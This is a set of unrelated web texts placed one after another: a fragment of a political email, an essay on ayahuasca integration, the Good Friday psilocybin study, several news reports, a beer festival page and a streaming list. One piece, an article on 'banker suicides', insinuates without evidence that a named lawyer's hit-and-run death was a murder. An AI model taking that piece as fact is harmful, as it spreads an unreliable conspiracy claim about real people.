that she >>>>> never did anything at state to help a donor. Philippe has been a >>>>> proponent of this. She could frame it this way: >>>>> >>>>> 1) very proud of Clinton foundation work. >>>>> 2) think people donate to it bc they want to support good works. >>>>> 3) if anyone did ever give money in hopes of influencing something >>>>> State did - they are foolish bc she never did that and never would. >>>>> SOS makes life and death decisions and those kinds of political >>>>> considerations don't come into play. >>>>> >>>>> At least this way she will have taken off the table any notion that >>>>> there was a quid pro quo - even if some donors may have had bad >>>>> intentions. >>>>> >>>>> If we did this, think we should do before WJC interview airs on >>>>> Monday. Which may mean that tomorrow is the last chance we have will >>>>> she will be in front of the press (they wont be at fundraisers but >>>>> will prob be outside them so she could take a q). >>>>> >>>>> What do others think? >>>>> Sent from my iPhone
-Working with the Amazonian plant medicine ayahuasca presents enormous psycho-spiritual challenges. In my experience as a meditator and psychotherapist, no other process comes close to ayahuasca’s power to activate body, psyche, and spirit, releasing that which has been trapped in the unconscious into the light of awareness. Each moment of bliss in ceremony can be offset by an equal amount of terror; it seems the heights to which one journeys are underpinned by the absolute dregs of experience. It requires a great deal of courage and no small amount of savvy to fathom this, to navigate skillfully through the process, and, especially, to apply the fruits of the journey to one’s life.  In certain Amazonian societies, the individual seeking healing would not drink the ayahuasca brew. Only the curandero would, embarking on a visionary journey that would yield the necessary information for treatment. Now we’ve entered a new era, where we sit in ceremony as direct participants. Unlike the indigenous people who have worked with ayahuasca for centuries, we come from a worldview that prizes detachment and devalues direct experience. We tend to be intellectually sharp but emotionally unaware, if not completely out of touch with our bodies and hearts. Many of us are disconnected from our families, ancestral roots, and communities. And now we embark on ritual work with a plant spirit that opens up the gates of the unconscious, the doors of perception? It’s a brave new world for us all.  Much has been written about the experience of drinking ayahuasca­—the visions, the purging, the profound understandings that can arise. Not much has been said about the aftermath; in particular, the stage of work called “integration” that follows the ceremony. It’s essential to recognize that the healing ayahuasca initiates does not conclude with the end of ceremony; that, in many ways, the real work begins at this point. How we walk the post-ceremony path, the support we receive, and the tools and perspectives we apply, will determine the ultimate value of our work with the medicine.  Working with ayahuasca is a co-creative process. The medicine interacts synergistically with body, mind, and spirit in ways that are utterly unique to each individual. I am continually amazed by ayahuasca’s ability to pick the lock of the conceptual mind, releasing the contents of the personal unconscious and beyond. It liberates our inner wisdom in ways that are often surprising but always organic to our individual path. Quite often, it must first unearth our essence from the psychic debris of family imprints and unconscious patterning.  Levels of Transformation  At a very basic level, ayahuasca integration means cleaning up your act in support of your newly upgraded self. Job, relationships, diet, habits, mindset—all these are up for transformation in the weeks following ceremony.  A second aspect of integration involves shadow work. Ayahuasca is a potent activator of the unconscious, bringing buried traumas, forgotten experiences, and rejected aspects of self to the light. We need methods for first tolerating, then working with and understanding these. Integration, in large part, is the process of absorbing and digesting this raw material; quite literally, incorporating it into your consciousness. This inevitably changes your perspective on life, self, identity, and purpose.  As we continue, a third level of integration emerges: the task of bringing soul to the world, showing up as our true whole selves. We begin to cultivate a way of being that is in touch with what really matters. Our fractured modern psyches have been disconnected from Nature and one another, with consumerism and digital distraction stuffed into the cracks to assuage the pain of separation. Truly integrating our work with ayahuasca provides an opportunity to heal who we are as individuals, and as a species. As Robert Sardello wrote  We must bring our true selves into the world … The psychic starvation brought about by removing soul from the world produces insatiable greed, for when the world is no longer surrounded with soul a vast emptiness intervenes that must be filled.  At this deepest level, integration demands that we transform our way of being and working with ourselves, our perceptions, and the world. Through this process we move from blame to responsibility, from drama to dignity, from unconsciousness to awareness.  All three of these levels of integration require tools and practices to support transformation—practical ways to work with body, spirit, heart, and mind. At minimum, we need to know how to deal with difficult emotions and destructive mental patterns, and how to sustain a healthy body that is both grounded on Earth and connected with spirit. If we have any insufficiencies in these areas, ayahuasca will expose them. It’s not the medicine’s job to magically remedy these deficits; it’s our work—integration work—to grow into new ways of being.  It might be helpful to recognize that many of us are already walking the path of integration in our lives, and perhaps were long before we ever heard of ayahuasca. A basic definition of integration is “to combine two things so they become a whole.” We naturally integrate as we take in new information and generate new perspectives. Simply put, integration is the process of growth and evolutionary change—and humans have been doing this pretty much forever.  East, West, Indigenous  When we understand that integration is an innately human capacity, not something that’s exclusive to ayahuasca work, we are free to draw in wisdom tools from many cultures and times. We cast our net wide to find the support we need, seeking not as spiritual dilettantes, but as modern explorers pursuing what truly works for us here and now in life. What does integration mean from an Eastern perspective? What are the best integrative tools we can gather from the Western world? And what wisdom do indigenous societies have to offer?  Eastern Spirituality. Eastern spirituality offers many pathways to experience pure consciousness as the love, light, and wisdom of True Self, Buddha Nature, or Atman. The basic view is that our essence is already enlightened, although covered by obscurations. This can be particularly healing for refugees from the Christian mindset of original sin. To accept your starting point as purity, albeit obscured, feels profoundly different than constantly struggling to transcend your defective basic nature.  Eastern religions offer a multitude of practices to dissolve the separation created by the ego and reveal the light of the essential self. Buddhism gives us tools for wisdom and compassion: meditations to open and clarify the mind, and practices to unlock the heart. The wisdom traditions of India offer many meditational and devotional methods, including the incredibly comprehensive practices of yoga in all its forms. Taoism, too, has practices to cultivate subtle energy and align oneself with the cosmos.  All these are based on similar principles: that man, nature, and universe exist in fundamental harmony; that inner and outer, divine and human, are essentially one; that the universe and everything in it are expressions of a single fundamental reality; and that our limited, ego-identified sense of self is merely a contraction, a temporary forgetting, of this basic state. Non-dual traditions, like Advaita, Kashmiri Shaivism, Zen, and Dzogchen may be particularly valuable to Westerners seeking to expand their egocentric worldview. There is much more to glean from Eastern traditions: sophisticated methods of working with the psycho-spiritual body through yoga, tai chi, qigong, and aikido; an understanding of the subtle body and the energies that dance their way through the channels and chakras; mantra and yantra, mandala and mudra, cosmologies that open to other realms and universes; respect for karma, the vast web of cause and effect we are constantly weaving, and the understanding that the “soul,” non-existent though it ultimately is, has more than one life and inhabits more than one body through the spiritual evolution of reincarnation.  Western Viewpoint. From the Western perspective, we draw on depth psychology, with its appreciation of the unconscious and the transpersonal. The work of Carl Jung, James Hillman, and others offers profound wisdom for integrating ayahuasca experiences with insights on the shadow, the psychodynamics of projection and introjection, and the power of archetypes and symbolism.  Jung’s emphasis on wholeness rather than perfection is fundamental to the path of integration; so is Joseph Campbell’s elucidation of the “Hero’s Journey,” which draws on mythology from around the globe to reveal the collective unconscious at work. Depth psychology offers many ways to listen to the language of the soul as it speaks through dreams, images, symbols, and creativity. Journaling, art therapy, active imagination and dreamwork are all channels through which the unconscious can become more conscious; a process that lies at the heart of integration. Further useful perspectives can be gathered from somatic psychology, including the growing understanding of how to work with trauma in an embodied way, as in Somatic Experiencing and Sensorimotor Psychotherapy.  More resources come from the many contemporary non-dual spiritual teachers of the West. Adyashanti, A. H. Almaas, Catherine Ingram, Byron Katie, Eckhart Tolle, Matt Kahn, Jeff Foster, and many more, all speak of the direct experience of reality as fundamental wholeness, free of identification and concepts. Rooted in Eastern spiritual traditions, this is wisdom presented in modern form.  Finally, from the West we can draw on the astonishing perspectives revealed by quantum physics. Here, the mechanistic worldview explodes into an understanding of a holographic universe, in which apparently discrete particles are actually streaming waves of probability, and conceptual categorization collapses into a realm where all things are non-locally united in an invisible, indivisible whole.  Indigenous Viewpoints. Indigenous worldviews are embodied by thousands of traditional cultures on every inhabited continent. Even Europe has its indigenous wisdom traditions, though these have been largely destroyed; first, by the Church; then, the modern religion of scientific materialism. Through the indigenous perspective, we come to understand the natural world as sacred and vibrantly alive. Rituals for connecting with nature and ways to heal through it pervade the indigenous practices of shamanism with their spirit journeys, divination, and healing techniques, and animals, protectors, and totems. Here again, there is an appreciation of dreams and an understanding of the fluidity of human identity and our interconnection with the whole.  Indigenous perspectives are not so much religions as ways of perceiving and relating to this Earth, and the worlds beyond. Diverse indigenous cultures—Maori, Shipibo, Yupik, Lakota, and thousands more—are deeply familiar with the unique spirits, plants, and powers of their homelands. The plant spirit of ayahuasca has been collaborating with indigenous peoples of the Upper Amazon for a very, very long time.  One thing indigenous peoples understand very well is how everything is interconnected. This unbroken sense of connection with nature—the recognition that we humans are organically interwoven into the fabric of nature and cosmos—is perhaps the most significant gift. The Quechua people of Peru understand this as ayni, “sacred reciprocity,” a way of honoring the relationship between humans and the larger sentience of the world, and seeking to live in balance with it. Modern culture has lost the sense of reciprocity with nature that infuses traditional cultures, and the ensuing hubris threatens the entire planet.  The indigenous worldview comes surging back in through ayahuasca; part of the healing that reconnects us to a larger matrix. Post-ceremony, it is very common to feel a new sense of belonging to nature, along with a responsibility to protect creation and use its gifts wisely. The understanding that the Earth is alive, that creation is intelligent, and we are part of the web of life: these are some of the many gifts that come from working with ayahuasca.  In this process, we are healing our fragmented modern minds. Ayahuasca’s work takes place on many levels, not least in repairing the Cartesian split of mind/body and man/nature. The medicine reconnects brain with body, a valuable contributor, but no longer the master. In reuniting with nature, we are reweaving ourselves back into the matrix of life in a way that is urgently, desperately needed.  Eastern, Western, or indigenous; all three perspectives provide ways for us to open up to something greater than our conscious minds, be it Self, the unconscious, or the universe. Humans are part of the bigger picture, but only part. From all these perspectives we gain clues as to how to work with integration. We draw in all sorts of possibilities and examine them for what is most useful to our particular situation. There is always room for more on the path of growth. The integration process does not end—ever. It is the ongoing process of life moving into further complexity and deeper simplicity. And it is up to us to live it, to make it real.  Acknowledgments  Thanks to Matthew Watherston of The Temple of the Way of Light for seeding the idea for this article and sharing some valuable perspectives.  References
-Prior to the Good Friday service, twenty graduate degree divinity student volunteers from the Boston area were randomly divided into two groups. In a double-blind experiment, half of the students received psilocybin, while a control group received a large dose of niacin. Niacin produces clear physiological changes and thus was used as an active placebo. In at least some cases, those who received the niacin initially believed they had received the psychoactive drug.[3]:5 However, the feeling of face flushing (turning red, feeling hot and tingly) produced by niacin subsided after about an hour after receiving the dose. However, the effects of the psilocybin intensified over the first few hours.  Almost all of the members of the experimental group reported experiencing profound religious experiences, providing empirical support for the notion that psychedelic drugs can facilitate religious experiences. One of the participants in the experiment was religious scholar Huston Smith, who would become an author of several textbooks on comparative religion. He later described his experience as "the most powerful cosmic homecoming I have ever experienced".[4]
-Leader of the Liberal Democrats Tim Farron has pledged to keep Britain in the EU (Picture: Getty)  The Liberal Democrats have pledged to take Britain back into the EU, claiming the Brexit was secured on a campaign of lies.  Voters backed the Leave campaign in a ‘howl of anger’ and should be given the chance to rethink the decision, according to Lib Dem leader Tim Farron.  The party said that ‘cheap’ slogans of Ukip’s Nigel Farage and Tories Boris Johnson and Michael Gove are ‘unravelling’, and the public will feel ‘betrayed’ when promises on the NHS and immigration are not delivered.  Since the referendum result on Friday morning, the Lib Dems claim thousands of voters have signed up to become members.  Farron said he will make the case for the country to rejoin the EU at the next general election.  MORE: EU referendum: What Brexit means for your money  Thousands have signed up to become Lib Dem members (Picture: Getty)  ‘For many millions of people, this was not just a vote about Europe,’ he said.  Advertisement  Advertisement  ‘It was a howl of anger at politicians and institutions who they felt they were out of touch and had let them down.  ‘The British people deserve the chance not to be stuck with the appalling consequences of a Leave campaign that stoked that anger with the lies of Farage, Johnson and Gove.  ‘The Liberal Democrats will fight the next election on a clear and unequivocal promise to restore British prosperity and role in the world, with the United Kingdom in the European Union, not out.  ‘If you agree with us, join us to make this happen.’  The next general election is not due until 2020 under current laws but could be staged within months if the next Conservative leader decides to seek a mandate through a national vote.  Lib Dems would have to secure a two-thirds Commons majority, repeal legislation or see a vote of no confidence in the government for the snap poll to go ahead.  A Lib Dem spokesman said: ‘In 24 hours the cheap bus slogans of Farage, Johnson and Gove are unravelling.  ‘On £350 million for the NHS, on immigration, it is clear that they will fail to deliver what people thought they had voted for. Once again, people will feel betrayed by out-of-touch politicians.  ‘The Liberal Democrats are the only party united behind a future for Britain inside the European Union.’
-Bristol Beer Festival 21 - 23 March 2019  Tickets now on sale (a processing fee is charged by the ticket company) at:  You can also buy tickets by calling 0333 666 3366. This is a telephone box office service for which there is an additional £1.75 charge to print and post the tickets, so this is more expensive than buying online. It only has access to the same information as customers booking online and is not a beer festival help line.  Sign up to volunteer at the 2019 Bristol Beer Festival  The twenty second annual CAMRA Bristol Beer Festival will run from Thursday 21st to Saturday 23rd March 2019 at Brunel’s Old Station, Temple Meads, Bristol. There will be a carefully chosen selection of around 140 different real ales on sale over the course of the festival as well as a good range of cider and perry. There will also be a variety of food available at all sessions. Demand for festival tickets continues to exceed the capacity of the venue, so we are going to try adding an extra session on Thursday lunchtime from 12 noon until 4:30pm. Tickets for all sessions will be sold online (as was the case for the 2018 festival)  IMPORTANT: If you are a Bristol & District CAMRA branch member and you do not currently receive emails from the branch then please go HERE.  Tickets for all sessions cost £11.50 including £5 worth of beer festival tokens, which customers will receive on entry enabling them to go straight to the bar. Also included are a festival programme and a commemorative half pint glass, marked for third and half-pint measures.On presentation of a current membership card, CAMRA members will also receive a voucher on entry up to the value of £1.80.  Date Session Time Cost Thursday 21 March Lunchtime 12:00pm - 4:30pm £11.50 (incl £5 of tokens) Thursday 21 March Evening 6:30pm - 11pm £11.50 (incl £5 of tokens) Friday 22 March Lunchtime 11:30am - 4pm £11.50 (incl £5 of tokens) Friday 22 March Evening 6:30pm - 11pm £11.50 (incl £5 of tokens) Saturday 23 March Lunchtime 11:30am - 4pm £11.50 (incl £5 of tokens) Saturday 23 March Evening 6:30pm - 11pm £11.50 (incl £5 of tokens)  Tickets for the Friday lunchtime, Friday evening and Saturday lunchtime sessions are now SOLD OUT.  We strongly advise keeping an eye on this website as it will feature further beer festival information including updates about ticket availability (including online sales) and the beer and cider lists as they become available.  Click here to view Bristol Beer Festival 2018 pictures  Click here to view 2017 pictures  Click here to view 2016 pictures  Click here to view 2015 pictures  Click here to view 2014 pictures  Click here to view 2013 pictures  Click here to view 2012 pictures  Click here to view 2011 pictures  Click here for a video of the 2012 ticket sales at the Commercial Rooms
-Coming Soon  The King  Hal, a wayward prince, ascends the English throne upon his father’s death, and must navigate the palace snake pit, and inherited war and chaos.  Guillermo Del Toro Presents 10 After Midnight  Acclaimed Academy Award-winning filmmaker Guillermo del Toro curates this collection of sinister stories, each more horrifying than the next.  Locke & Key  After their father's gruesome murder, three siblings move into a house with magical keys that grant them powers. Adapted from the comics by Joe Hill.  Bulbul  A man returns home after years to find his brother’s child bride now grown up and abandoned, and his ancestral village plagued by mysterious deaths.  Escape from Hat  A desperate rabbit rallies an unexpected band of allies to help him escape from inside a magician's hat and return to the human boy he loves.  Rhythm + Flow  Judges Cardi B, Chance the Rapper and T.I. search for the next breakout hip-hop star in this music competition series.  7SEEDS  Natsu awakens to a post-apocalyptic world, only to learn that she’d been cryogenically frozen as part of a program to ensure the survival of humanity.  Hit and Run  In this political espionage thriller series, a man's life is turned upside down when his wife is killed in a mysterious hit-and-run accident.
-DUBLIN (Reuters) - Irish musician and activist Bob Geldof called Myanmar leader Aung San Suu Kyi “a hand maiden to genocide” on Monday as he returned his Freedom of the City of Dublin award in protest over his fellow recipient’s response to the repression of Rohingya Muslims.  “I don’t want to be on a very select roll of wonderful people with a killer,” Geldof told state broadcaster RTE. “Someone who is at best a handmaiden to genocide and an accomplice to murder.”  More than 600,000 Muslims from Myanmar’s Rakhine state have fled to refugee camps in Bangladesh after military operations described by the United Nations as ethnic cleansing.  Their plight has drawn outrage around the world. But Suu Kyi, long seen as a champion of human rights, has been criticized for failing to speak out against violence. There have been calls for her to be stripped of the Nobel Peace Prize she won in 1991.  Suu Kyi was given the Freedom of Dublin in 1999 while she was held under house arrest by Mayanmar’s then military government. She received her award at a reception in Ireland in 2012, two years after her release.  “Her association with our city shames us all and we should have no truck with it, even by default. We honored her, now she appals and shames us,” Geldof said in a statement.  The Lord Mayor of Dublin, Micheal Mac Donncha, said the city council had discussed taking away the honor and the matter was still under review. Last month she was stripped of a similar honor by the British university city of Oxford, where she was an undergraduate.  But Mac Donncha, a councillor for the Irish nationalist Sinn Fein party, also criticized Geldof’s gesture, saying it was ironic as Geldof held a British knighthood despite “the shameful record of British imperialism across the globe”.  The former Boomtown Rats singer was given an honorary knighted in 1986 in recognition of his charity work, including organizing the 1985 Live Aid concert to help those suffering from starvation and disease in Ethiopia.  Other foreign recipients of the Freedom of Dublin include John F. Kennedy, Nelson Mandela and Mikhail Gorbachev.  Irish rockers U2, who had campaigned for Suu Kyi’s release while she was a political prisoner, also voiced disappointment and said her silence was “starting to look a lot like assent”.  Slideshow (4 Images)  “Who could have predicted that if more than 600,000 people were fleeing from a brutal army for fear of their lives, the woman who many of us believed would have the clearest and loudest voice on the crisis would go quiet,” the band said in a statement.  “For these atrocities against the Rohingya people to be happening on her watch blows our minds and breaks our hearts.”  The Myanmar military says it launched the crackdown in response to attacks by Rohingya militants.
-The Canadian government abandoned an appeal of a controversial court ruling that let the Catholic Church out of its responsibility to raise millions of dollars for aboriginal healing programs, court documents show.  The appeal was dropped just six days after the Trudeau government took office.  The revelation comes in a week when the Liberal government has repeatedly said that it had no options for appeal. It did not mention, however, that an appeal had been commenced and then withdrawn.  Story continues below advertisement  The abandonment of the appeal means that a major element of Canada's historic 2007 settlement – the contribution of the Catholic churches, which ran most of the residential schools, to the aboriginal community – was brought to an end by a lone Saskatchewan judge, in an informal hearing called a Request for Directions.  The ruling by Saskatchewan Court of Queen's Bench Justice Neil Gabrielson on July 16 found that the former federal Conservative government had inadvertently released 50 Catholic entities from their contractual responsibility to try to raise up to $25-million for aboriginal healing pro- grams. He ruled that there was a "meeting of the minds" between a federal lawyer, Alexander Gay, and a lawyer for the Catholic entities, Gordon Kuski, on a re-lease from all obligations. He also found that Mr. Gay should be presumed in this dispute to have had the authority to negotiate on be-half of the Canadian government.  Under the former Conservative government, the Justice Department served notice in August that it intended to appeal the ruling. A Liberal government was elected on Oct. 19 and took office on Nov. 4, as the cabinet – including Justice Minister Jody Wilson-Raybould – was sworn in. On Nov. 10, the federal Justice Department formally abandoned the appeal, without giving reasons, in a letter signed by Wayne Schafer, senior counsel for the Attorney-General.  The Liberal government says its Conservative predecessors were the ones who released the church from its obligations under the settlement agreement to try to raise $25-million for healing and reconciliation.  After Justice Gabrielson's decision in July, "officials from the Department of Aboriginal Affairs and Northern Development received a mandate from the former Conservative government to negotiate a settlement with the Catholic entities," a government spokeswoman said in an e-mail on Wednesday evening. "Negotiations began in August 2015 and an agreement of release was signed October 30, 2015. As a result of these negotiations, it was agreed the Protective Notice of Appeal would be withdrawn." In other words, abandoning the appeal was a mere formality.  The Liberal government did not provide The Globe and Mail with a copy of that negotiated agreement of release. Without a copy of that settlement, it is impossible to know if the Liberals were legally able to continue with the appeal, according to Toronto lawyer Kirk Baert, who represented residential school survivors at settlement talks.  "This is an important aspect of the original settlement," he said. "I don't get the logic of withdrawing [the appeal]. They're already at zero in terms of what the Catholics have to do. If you win, you may restore these benefits."  Story continues below advertisement  Story continues below advertisement  The Conservatives' justice critic, Rob Nicholson, could not be reached for comment.  The Liberals have made a rapprochement with indigenous peoples a centrepiece of their government. "No relationship is more important to me and to Canada than the one with Indigenous Peoples," Prime Minister Justin Trudeau says in the mandate letters given to each of his cabinet ministers.  The 2007 settlement created three obligations for the 50 Catholic entities: pay $29-million in cash to the Aboriginal Healing Foundation; give $25-million in services to aboriginal communities; and use "best efforts" to raise $25-million for additional healing programs. The fundraising fell well short – bringing in just $3.7-million. Justice Gabrielson ruled that, for a payment of $1.2-million, the Catholic entities were to be released from their responsibilities to raise the remainder of the $25-million, and be seen to have completed the other two categories of contributions. (There had been a dispute over deductions from the $29-million that the Catholic entities had been claiming for administrative costs.)  In such a hearing, the judge makes no credibility assessments of witnesses for either side, unlike in a full-blown trial. Appeal courts therefore may find it easier than a trial ruling to overturn. (Appeal courts usually defer to trial judges' credibility assessments.)  Among its grounds for appealing the decision, the federal government said the judge had made an error in law by saying that Mr. Gay had the authority to bind the government to a settlement, and had made "palpable and overriding errors" in assessing the facts relating to the negotiations, public documents on file at the Saskatchewan Court of Appeal show.  Indigenous Affairs Minister Carolyn Bennett said this week that the government would pressure the church into resuming its fundraising efforts and rejected suggestions that the government should make up the shortfall.  Story continues below advertisement  University of Alberta law professor Eric Adams, who had no involvement in the case, read the ruling at The Globe's request. He said he was surprised Canada didn't appeal it, because Mr. Gay had indicated throughout his discussions with Mr. Kuski that there were details to be worked out and approvals to be sought before the deal was finalized.  "Part of the calculus in deciding whether to appeal something is the stakes – and the stakes were huge," Prof. Adams added.  Ken Young, a Winnipeg lawyer who spent 10 years in a residential school, has read the ruling of Judge Gabrielson and said he believes the government should have appealed.  Mr. Young said, from his reading of what happened, it does not appear that there was any agreement made by Mr. Gay, on behalf of the government, to allow the Catholic entities to walk away from their fundraising obligations, as found by Judge Gabrielson. "They hung the government lawyer out to dry. I don't know how he is feeling about that."  As for the Catholics making their "best efforts" to raise $25-million for healing and reconciliation, said Mr. Young, the "best efforts" would have meant the Catholic church stepping in and contributing the difference between the $25-million goal and the $3.7-million. "The Catholic Church is a big enough institution to cover what their people and their parishioners couldn't cover."  Grouard-McLennan Archbishop Gérard Pettipas, who chairs the board of the Corporation of Catholic Entities, referred questions Wednesday about whether the church would be willing to do that to Pierre Baribeau, the entities' lawyer.  Story continues below advertisement  When asked Tuesday if the fundraising might resume, Mr. Baribeau suggested it would not happen because the various organizations of the church had already been solicited for funds and many were already near bankruptcy.
-17.7k SHARES Share Tweet Share Share Print Send  The banker suicide saga has just reached a new level as a top level JP Morgan attorney has been exterminated in a hit & run incident involving a minivan.  JPM attorney Joseph Giampapa was killed over the weekend when he was struck by a minivan in a hit and run incident.  Giampapa was reportedly hit and thrown 150 ft and was pronounced dead at the scene. No charges have been filed.  It gets better: Giampapa was JP Morgan’s top commercial bankruptcy lawyer (SVP).  Somehow we suspect the incident was not inflicted by a soccer mom.  The JP Morgan outside counsel manual, listing Giampapa as their Commercial Bank Bankruptcy SVP:  Commercial Bank Bankruptcy & Workout  Joseph Giampapa, SVP and Associate General Counsel  (614/248-6056)  http://www.jpmorganchase.com/corporate/Home/document/Annex_I_US_BasedGeneralCounselPracticeGroupsandManagers_7012013.pdf  Giampapa’s legal profile:  http://www.martindale.com/Joseph-A-Giampapa/1445173-lawyer.htm  The Columbus Dispatch’s coverage of the incident:  http://www.dispatch.com/content/stories/local/2014/03/23/cyclist-56-struck-by-minivan-in-piqua.html  Recall that Jim Willie informed SD readers several weeks ago that international bankers are dropping like flies to prevent details on massive FOREX fraud from reaching investigating authorities, and that European banking source “V” stated that the banker hit list includes top level banking executives, and also stated that suicided JP Morgan bankers Ryan Henry Crane & Gabriel Magee knew each other and had uncovered something.  Perhaps Giampapa had also uncovered too many secrets.  AMTV’s take on the increasing banker deaths:  SEE ALSO:  – 12th banker commits suicide, former JP Morgan employee  – 9th top level banker found dead within weeks  – Why banks are no longer needed  – Economic collapse is inevitable, here’s why…  – 7th top level banker ‘commits suicide’  – The memo that proves the bankers caused the GFC  Source: http://www.silverdoctors.com/another-jpm-banker-dead-in-a-minivan-hit-run/
-Reaching Beichuan is a long march into hell. When you finally emerge scrabbling through the dirt into the town, what lies before you is a breathtaking vision of horror. Official estimates say China's worst natural disaster in 30 years has claimed 50,000 lives so far, but looking at the devastation here, it is hard not to imagine the final toll will be much, much higher.  Beichuan county in Sichuan province used to be home to 160,000 people, and most of them lived in the now-forsaken town of the same name, nestling in one of the world's most beautiful valleys. But everyone is gone, either dead or having abandoned their flattened home.  Beichuan was too close to the epicentre of this week's earthquake to stand a chance. At least 80 per cent of it is destroyed, with many thousands of bodies still buried in the rubble. It's hard to imagine this place ever functioning as a town again.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  There is still no access by road. People's Liberation Army soldiers rally behind red flags at a rescue station three kilometres away, before starting the trek into the heart of this shattered place.  Our journey to reach Beichuan, which has been almost completely cut off since last Monday's quake, began at a good pace but we were soon forced to slow to a solemn, single-file column as we negotiated the side of the mountain. We stopped to allow soldiers carrying bodies, and occasional survivors to pass, their faces straining with the exertion of carrying their heavy burdens up these steep slopes and across the wreckage of roads and fields.  The narrow access track up to the town is also full of villagers bringing whatever little items they can as they scramble back to the refugee camps in neighbouring towns spared the worst of the quake. These are often old people, who move slowly but steadily, in a way that clearly irritates the fit young teenage troops itching to get past. But who is going to tell a grandmother carrying her life on her back to speed up?  The first sighting of what used to be the town happens about two kilometres away. It now looks like a model railway village that a nasty child has melted and covered with sand. The town was built on the sides of the valley and when the earthquake struck, the buildings slid down on top of others in a sickening concertina, leaving most of the settlement collapsed at the base of the valley. One or two large, newer buildings survived but the other big buildings folded on houses and apartment blocks, leaving mountains of rubble dozens of feet high.  Every day I have reported the story of the Sichuan earthquake it has seemed impossible to imagine things getting worse. Hanwang, with its bodies lying everywhere, was grotesque. Dujiangyan, where hundreds of teenagers were dragged out dead from the mud, was nightmarish. But every day is worse than the next. No one knows what horrors await after Wenchuan, directly above the epicentre, is opened up. At this stage, there can be precious few survivors there. But Beichuan is a truly horrendous sight. The prospect of the death toll reaching beyond 50,000 looks increasingly likely.  Driving up along the valley, along the Chang Jiang, or Long River, which we call the Yangtze, a JCB carrying a mound of corpses wrapped in tarpaulin was an early sign that the scene in Beichuan was going to be harrowing. But it was worse, much worse, than I'd expected.  Shutters are pulled three-quarters of the way down on some shop fronts, and feet are visible beneath them, but the grocer's and fruit shops they are meant to protect are just giant mounds of debris.  At the Middle School, hundreds were buried alive, just as they had been in other schools around Sichuan. The town's prison collapsed, and who knows how many inmates died.  Negotiating the rubble is torturous; finding survivors even worse. Outside a kindergarten, parents went around calling the names of their children. A pile of small bodies had already been recovered and lay on the ground. This earthquake happened during school time, at 2.30pm.  One man found his son's body in the pile, wrapped it carefully in a plastic sheet and carried him away. His wife is a migrant worker who lives elsewhere in China and he tried to call her on his mobile to tell her their child was dead, but there was no signal yet.  "There are people alive in there, and over there, and over there," said one rescuer, outside the ruins of a hairdressing salon. "But we can't get them out; what are we supposed to do."  It's impossible not to get swept up in the relief effort; anyone who is in this town has to help, journalist or not. A crying woman said she could hear cries from beneath the rubble, and I was sent to find a stretcher and workers, but by the time we got back with assistance, the rubble had shifted and there was only a body. People hear things in earthquake zones, mistaking the wailing of the bereaved for the cries of help from their loved ones. Rescuers clamber around the debris shouting "hello" and "anyone there" but only an eerie silence answers.  The rescue effort is centred on one very small section on the edge of town, and only a tiny part of Beichuan has been explored so far. Premier Wen Jiabao, who has flown around from disaster area to disaster area in a helicopter, has visited the town twice so far, but he has been able only to voice words of encouragement to the rescue workers.  China has, cautiously, welcomed some foreign input. When Mr Wen first visited the town he spotted an American doctor, Brian Robinson of the Heart to Heart aid outfit, walking with other volunteers along the road and he ordered the car to stop. He embraced the doctor, thanked him and told him to go to Beichuan and help. An unprecedented action.  It is still impossible to get through to Beichuan with meaningful assistance and aid: most of the cranes, medical supplies and military personnel are all still back down the valley at the disaster relief headquarters.  Rescuers struggle across a bridge lying on the river bed in large chunks, a smashed car on what was the roadside the only evidence that this was ever a bridge. In the streets, the smell of corpses is accentuated by the searing heat that has replaced the heavy rain of days ago. The dry weather makes rescue work easier, but you cannot help worrying about disease being the next problem here.  At one point yesterday there was a small aftershock, causing brief panic. People are also angry that it has taken so long for the relief effort to make it to Beichuan, saying there were hundreds of people crying and shouting in the rubble even on Wednesday, but that it was too late now. There was little evidence of sniffer dogs, hi-tech equipment, and not too many helicopters around either; you would expect to see choppers ferrying supplies and people.  What they have is primitive relief work: manpower and womanpower. Thousands of soldiers and volunteers have arrived in the area, some from as far away as the provincial capital and other parts of China.  Anger, too, is growing about the poor quality of buildings. In Mianzhu, an apartment block collapsed on itself. The flats had been built using contributions from a local work unit, a group of workers organised by the Communist Party at a factory or office. Residents searching for survivors said it was because corrupt officials had demanded so much in kickbacks that the building fell. The neighbouring buildings had not collapsed, including one which housed cadres from the Communist Party. "Show me the structural steel in that building," said one woman, whose mother is missing in the rubble. "It all went into some official's pocket," she spat.  The foreign media have a poor image in China because most people now believe the international community does not want China to host the Olympics and is planning a boycott. This makes reporting the disaster difficult; before the anti-Chinese riots in Tibet, and the sympathetic view of Tibetans in the Western media, foreign journalists were popular. Now we are seen as a threat. But the soldiers are still helpful, even offering to lift us over the worst of the holes.  All privately owned cars are stopped at a roadblock 20 kilometres from the town to give better access to emergency vehicles. We leave our car and start to walk, but we are picked up by a trio of relief workers in a blue CDW truck, laden with baskets for carrying debris. For the first time in four days of reporting the Sichuan earthquake, I see the classic quake image, the fissure stretching the length of a road, made by tectonic plates shifting and tearing the Tarmac apart.  Later even this truck is stopped and we walk the remaining three kilometres with volunteers from nearby Mianyang, bringing money, clothes, food and water. "We are all one family and one nation and when our friend suffers, it's our duty to help," says Lu Fushan, 49, a farmer. His truck was stopped, as were many of the volunteers, because there is not enough room for the material to get through.  Dotted along the narrow mountainside road are smashed cars and rocks the size of lorries, which limit traffic to one lane. There are hundreds of military vehicles along the roadside.  Back along the valley, a couple sit clinging to each other on a bench, looking at the wreckage of their house. "Our house is smashed, broken," says Fu Youjun, 34, a farmer. "My father is in the hospital. We felt the quake, we were terribly scared and we rushed out. When we came out we just saw white smoke and dust.  "My brother is in town, but I can't reach him. Lots of friends and relatives. We can't get in touch with them, we tried to get through to them but there's no road. And the water is rising, there could be flooding too. I don't know what we'll do next,"  His wife, Wang Hongmei, 30, says: "The house is slipped, subsided. My nephew is in there, over there in Beichuan. What are we going go do? We just got married this year."  But even amid the heartbreak of Beichuan there is an occasional story of hope. "Don't help me, help the others, they need it more," one woman said, as soldiers bore her on a stretcher into a makeshift first-aid centre, seconds after pulling her from the wreckage. She had lived through 72 almost unbelievable hours under the rubble.  At the first-aid station, there is no time for medics to find the woman's name. She looks a youthful 40, wearing a pale blue top and smart trousers. She is weak and delirious, but so far she is alive. The woman is carried on a stretcher back across the mountains by eight strong, sure-footed young PLA soldiers.  Back at the rescue station, rescuers form a cordon for the returning stretchers. When a survivor is brought through, the soldiers cheer, and when yet another stretcher comes through with a corpse there are disappointed murmurs and sad comments.  The woman is brought through on the stretcher, a scarf 